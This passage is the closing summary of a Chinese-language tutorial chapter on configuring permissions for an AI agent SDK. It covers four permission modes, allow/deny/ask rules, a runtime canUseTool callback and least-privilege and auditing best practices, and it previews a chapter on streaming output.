  2. 四种权限模式

    • plan:只能看不能做(最安全)
    • default:什么都要问你(推荐新手用)
    • acceptEdits:文件操作自动批准(日常开发用)
    • bypassPermissions:全部自动批准(仅限测试/沙箱)
  3. 精细化权限规则:用 permissionRules 配置 allow/deny/ask 规则,精确控制每个工具、每种操作的权限。deny 优先级最高。

  4. canUseTool 回调:运行时动态决策,可以根据具体参数、时间、次数等条件决定是否放行。

  5. 最佳实践

    • 最小权限原则 —— 够用就行,别多给
    • 从严到松 —— 先严格,确认安全后再放宽
    • 分环境配置 —— 生产环境严、测试环境松
    • 全量审计 —— 不管允不允许,都记录下来
    • 给好理由 —— 拒绝时告诉 Agent 为什么

下一章预告

这一章我们学会了控制 Agent "能做什么"。下一章(第7章:流式输出),我们要学会 "看 Agent 在做什么" —— 让 Agent 实时汇报它的工作进度,就像看直播一样。你将学会 for await 循环的高级用法,理解每种消息类型的含义,以及如何在终端里做一个漂亮的 Agent 实时工作界面。

← 上一章5. 内置工具